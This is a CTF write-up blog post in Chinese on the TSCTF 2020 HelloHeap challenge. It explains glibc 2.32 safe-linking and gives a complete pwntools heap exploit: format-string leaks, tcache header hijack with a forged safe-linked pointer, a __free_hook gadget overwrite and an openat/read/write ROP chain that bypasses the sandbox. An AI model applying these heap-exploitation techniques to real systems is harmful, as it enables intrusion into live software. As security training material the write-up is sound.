TSCTF2020的一道题中学习2.32下safe-linking机制以及2.31/2.32下setcontext的使用

前言

仍然是比赛结束后来探险,xxrw师傅出的一道题目,很有趣的一道题。漏洞很巧妙难以定位,利用起来比较有意思,也学到了safe linking保护机制和2.31/2.32 setcontext的利用方法。

tag:glibc 2.32、setcontext、openat、safe linking、沙箱绕过、堆溢出、sprintf

safe linking保护机制

简单的说就是fd会被改为当前(chunk>>12)^next_chunk(tcache和fastbin都有这种机制)

例: 当前chunk a的addr为:0x55555555a3b0,即将释放一个同样大小的chunk b进入tcache链,b的首地址是0x55555555a2c0,那么fd本身应该是0x55555555a2d0,但由于safe linking机制,fd会被改为(0x55555555a3b0>>12)^0x55555555a2d0=0x55500000f78a

2020 TSCTF HelloHeap

查看文件

保护全开

IDA分析

程序四个功能修改队名、修改口号、创建队伍、删除队伍。

结构体如下:

上面是0x20的name
漏洞点存在于editname的时候有一个由于index的增加会导致一个off by null的漏洞,此时可以刚好改到teamSlogan的最后一位,将其值改为functionPointer的位置, 这样的话我们在editSlogan的时候就可以直接修改functionPointer。

另一个漏洞则存在于强制性read 0x50,同样的会造成堆溢出

本来应该是最后一位字节是0x20,但是被改为0x00了

同时我们看看沙箱机制:

我们看到open函数都被禁掉了,ORW是不是就不可用了?

思路

总之一个问题一个问题解决吧:

1.首先是open函数被禁掉了,应该怎么办?
open函数代替函数openat。简单的来说,openat的区别是,rdi参数可以是文件路径,但是也可以直接将rdi置为0,然后rsi为打开文件的绝对路径。其它的参数不用管了。

2.第一个off by null的漏洞我们可以怎么利用?
我们可以通过off by null改掉slogan的指向,然后将函数指针改为printf,在name处提前准备格式化字符串,泄露libc地址、heap地址还有程序加载基地址。

3.通过第二个溢出来劫持tcache pthread header:
劫持tcache pthread header后可以在free_hook写mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];的gadgets,然后将栈参数、rop等数据存放到对应的位置,ORW读出flag。

exp

#coding=utf-8
from pwn import *
debug = 2
context.terminal = ['tmux','split','-h']
context.log_level = "debug"
context.update(os="linux",arch="amd64",log_level = "debug")

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
itv     = lambda                    :p.interactive()

def change_ld(binary, ld):
    """
    Force to use assigned new ld.so by changing the binary
    """
    if not os.access(ld, os.R_OK):
        log.failure("Invalid path {} to ld".format(ld))
        return None

    if not isinstance(binary, ELF):
        if not os.access(binary, os.R_OK):
            log.failure("Invalid path {} to binary".format(binary))
            return None
        binary = ELF(binary)

    for segment in binary.segments:
        if segment.header['p_type'] == 'PT_INTERP':
            size = segment.header['p_memsz']
            addr = segment.header['p_paddr']
            data = segment.data()
            if size <= len(ld):
                log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
                return None
            binary.write(addr, ld.ljust(size, '\0'))
            if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
            path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
            if os.access(path, os.F_OK):
                os.remove(path)
                info("Removing exist file {}".format(path))
            binary.save(path)
            os.chmod(path, 0b111000000) #rwx------
    success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
    return ELF(path)
# example

p = process("./helloheap")
elf = change_ld('./helloheap', './ld.so.2')
# libc_offset = 0x3c4b20
success("success load 2.32 libc")
libc = ELF('./libc.so.6')
p = elf.process(env={'LD_PRELOAD':'./libc.so.6'})

def start():
    p.recvuntil("name:)\n")
    p.sendline("BlueSheep")

def createTeam(teamName,sloganSize,slogan):
    sla("choice:\n","1")
    sa("name:",teamName)
    sla("size:\n",str(sloganSize))
    sa("slogan:\n",slogan)

def deleteTeam(index):
    sla("choice:\n","2")
    sla("id:\n",str(index))

def editSlogan(index,slogan):
    sla("choice:\n","3")
    sla("id:\n",str(index))
    sa(":(\n",slogan)

def editName(index,name):
    sla("choice:\n","4")
    sla("id:\n",str(index))
    sa("new name:\n",name)

def backdoor(index,info="1"):
    sla("choice:\n",str(0x1337))
    sla("id:\n",str(index))

start()
for i in range(7):
    createTeam("a"*29,0xd0,"a"*0xd0)
createTeam("a"*29,0x20,"a"*0x20) # 7
createTeam("a"*29,0xd0,"a"*0xd0) # 8
createTeam("a"*29,0xa0,"a"*0xa0) # 9
createTeam("a"*29,0x10,"a"*0x10) # 10

#gdb.attach(p,"b *0x555555554000+0x1d3a")
editName(10,'|%9$p|%15$p|%23$p'.ljust(29,"\x11"))
editSlogan(10,"\x60\x51")
backdoor(10)
p.recvuntil("|0x")
code_base = int(p.recv(12),16)
success("code base ==> "+hex(code_base))
p.recvuntil("|0x")
heap_base = int(p.recv(12),16)-0x55555555a2a0+0x55555555a000
success("heap base ==> "+hex(heap_base))
p.recvuntil("|0x")
libc.address = int(p.recv(12),16)-0x7ffff6e15dfb+0x7ffff6dee000
success("libc address ==> "+hex(libc.address))

deleteTeam(0)
deleteTeam(9)
createTeam("a"*29,0xd0,"a"*0xd0) # 0
createTeam("a"*29,0xd0,"a"*0xd0) # 9
deleteTeam(0)
deleteTeam(9)

fd_addr = heap_base+0xe40
bk_addr = heap_base+0x20
crypto_addr = (fd_addr>>12)^bk_addr

editSlogan(10,p64(0)*3+p64(0x21)+p64(0)*3+p64(0xe1)+p64(crypto_addr)+p64(0))

deleteTeam(7)
createTeam("a"*29,0xd0,"/home/shinnosuke/Desktop/pwn/helloheap/flag\x00")  # 0
createTeam("a"*29,0xd0,p32(1)*2*2*6+p64(libc.sym["__free_hook"])*5+p64(heap_base+0x4000)+p64(libc.sym["__free_hook"]*8)) # 7

deleteTeam(1)
deleteTeam(2) # 1\2\9

# 0x0000000000124990: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

pop_rdi = 0x00000000000277d6+libc.address
pop_rsi = 0x0000000000032032+libc.address
pop_rdx_pop_rbx_ret = 0xf48ed + libc.address
syscall = 0x0000000000083445+libc.address
pop_rax = 0x3efe7+libc.address

createTeam("\x00"*29,0x20,p64(0x124990+libc.address))
createTeam("\x00"*29,0xd8,p64(0)+p64(heap_base+0x580)+p64(0)*2+p64(0x4b515+libc.address)+p64(0)*15+p64(heap_base+0x450)+p64(pop_rax)) # 0x55555555a580

payload = flat([
    257,pop_rdi,0,pop_rsi,heap_base+0xe40,syscall,
  pop_rax,0,pop_rdi,3,pop_rsi,heap_base+0xe00,pop_rdx_pop_rbx_ret,0x20,0,syscall,
  pop_rax,1,pop_rdi,1,pop_rsi,heap_base+0xe00,pop_rdx_pop_rbx_ret,0x20,0,syscall
    ])

createTeam("\x00"*29,0xd8,payload) # 9 esp execute ORW 0x55555555a450

# gdb.attach(p)
deleteTeam(2)
p.interactive()

 Previous
2019 Hitcon Qua部分PWN题复现 2019 Hitcon Qua部分PWN题复现
summarytag:2.29 largebin attack、tcache unlink smashing、python-AES-解密、pwn-misc one_punch_man: double free的漏洞、calloc得到chun
2020-10-22
Next 
MIPS-PWN解题汇总(一) MIPS-PWN解题汇总(一)
summaryTSCTF HelloMIPS:32位mips栈溢出,rop2020-西湖论剑-management:32位mips unlinkUCTF-2016-ADD:32位栈溢出,shellcode 0x01 TSCTF HelloM
2020-10-21
  TOC